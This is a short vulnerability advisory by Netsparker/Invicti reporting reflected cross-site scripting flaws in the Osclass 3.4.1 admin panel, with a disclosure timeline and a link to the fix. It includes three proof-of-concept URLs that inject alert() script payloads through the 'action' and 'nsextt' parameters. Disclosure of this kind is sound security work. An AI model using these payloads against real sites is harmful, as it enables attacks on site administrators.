XSS Vulnerabilities in Osclass
Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in Osclass
Affected Software: Osclass
Affected Versions: 3.4.1 and possibly below
Vendor Homepage: http://osclass.org/
Vulnerability Type: Cross-site Scripting
Invicti Advisory Reference: NS-14-030
Several cross-site scripting vulnerabilities where discovered in Osclass, an open source project that allows you to create a classifieds sites.
Proof of Concept URLs for XSS in OsClass:
http://example.com/osclass/oc-admin/index.php?page=items&action='"--></style></scRipt><scRipt>alert(0x001394)</scRipt> http://example.com/osclass/oc-admin/index.php?page=items&nsextt='"--></style></scRipt><scRipt>alert(0x001364)</scRipt> http://example.com/osclass/oc-admin/index.php?page=items&action=items_reported&nsextt='"--></style></scRipt><scRipt>alert(0x001396)</scRipt>
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
003/09/2014 – First Contact
03/09/2014 – Vulnerability fixed: https://github.com/osclass/Osclass/commit/c163bf5910d0d36424d7fc678da6b03a0e443435
Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
Invicti can find and report security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on.